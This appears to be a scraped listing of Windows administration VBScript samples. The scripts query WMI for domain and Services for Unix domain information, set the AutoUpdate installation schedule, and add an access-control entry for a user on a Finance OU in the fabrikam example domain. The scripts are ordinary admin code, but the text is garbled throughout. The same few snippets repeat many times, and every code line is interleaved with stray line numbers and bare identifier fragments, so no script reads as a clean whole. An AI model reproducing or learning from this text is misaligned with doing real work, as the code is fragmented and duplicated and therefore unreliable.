                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      482

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      483

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      484

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      485

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      486

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      487

                                                                                                                                                      Next

                                                                                                                                                      491

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      492

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      494

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      495

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      497

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      504

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      506

                                                                                                                                                      strComputer = "."

                                                                                                                                                      507

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      510

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      512

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      513

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      514

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      515

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      516

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      517

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      519

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      521

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      522

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      523

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      524

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      525

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      526

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      527

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      528

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      529

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      531

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      533

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      534

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      535

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      536

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      537

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      538

                                                                                                                                                      Next

                                                                                                                                                      544

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      545

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      546

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      547

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      548

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      550

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      551

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      552

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      554

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      556

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      557

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      558

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      559

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      560

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      561

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      562

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      563

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      565

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      567

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      568

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      576

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      578

                                                                                                                                                      strComputer = "."

                                                                                                                                                      579

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      582

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      585

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      586

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      587

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      588

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      589

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      590

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      591

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      592

                                                                                                                                                      Next

                                                                                                                                                      596

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      597

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      599

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      600

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      602

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      609

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      611

                                                                                                                                                      strComputer = "."

                                                                                                                                                      612

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      615

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      617

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      618

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      619

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      620

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      621

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      622

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      624

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      626

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      627

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      628

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      629

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      630

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      631

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      632

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      633

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      634

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      636

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      638

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      639

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      640

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      641

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      642

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      643

                                                                                                                                                      Next

                                                                                                                                                      650

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      651

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      652

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      653

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      654

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      656

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      657

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      658

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      660

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      662

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      663

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      664

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      665

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      666

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      667

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      668

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      669

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      671

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      673

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      674

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      682

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      684

                                                                                                                                                      strComputer = "."

                                                                                                                                                      685

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      688

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      691

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      692

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      693

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      694

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      695

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      696

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      697

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      698

                                                                                                                                                      Next

                                                                                                                                                      702

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      703

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      705

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      706

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      708

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      715

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      717

                                                                                                                                                      strComputer = "."

                                                                                                                                                      718

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      721

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      723

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      724

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      725

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      726

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      727

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      728

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      730

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      732

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      733

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      734

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      735

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      736

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      737

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      738

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      739

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      740

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      742

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      744

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      745

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      746

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      747

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      748

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      749

                                                                                                                                                      Next

                                                                                                                                                      755

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      756

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      757

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      758

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      759

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      761

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      762

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      763

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      765

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      767

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      768

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      769

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      770

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      771

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      772

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      773

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      774

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      776

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      778

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      779

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      787

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      789

                                                                                                                                                      strComputer = "."

                                                                                                                                                      790

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      793

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      796

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      797

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      798

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      799

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      800

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      801

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      802

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      803

                                                                                                                                                      Next

                                                                                                                                                      807

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      808

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      810

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      811

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      813

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      820

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      822

                                                                                                                                                      strComputer = "."

                                                                                                                                                      823

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      826

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      828

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      829

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

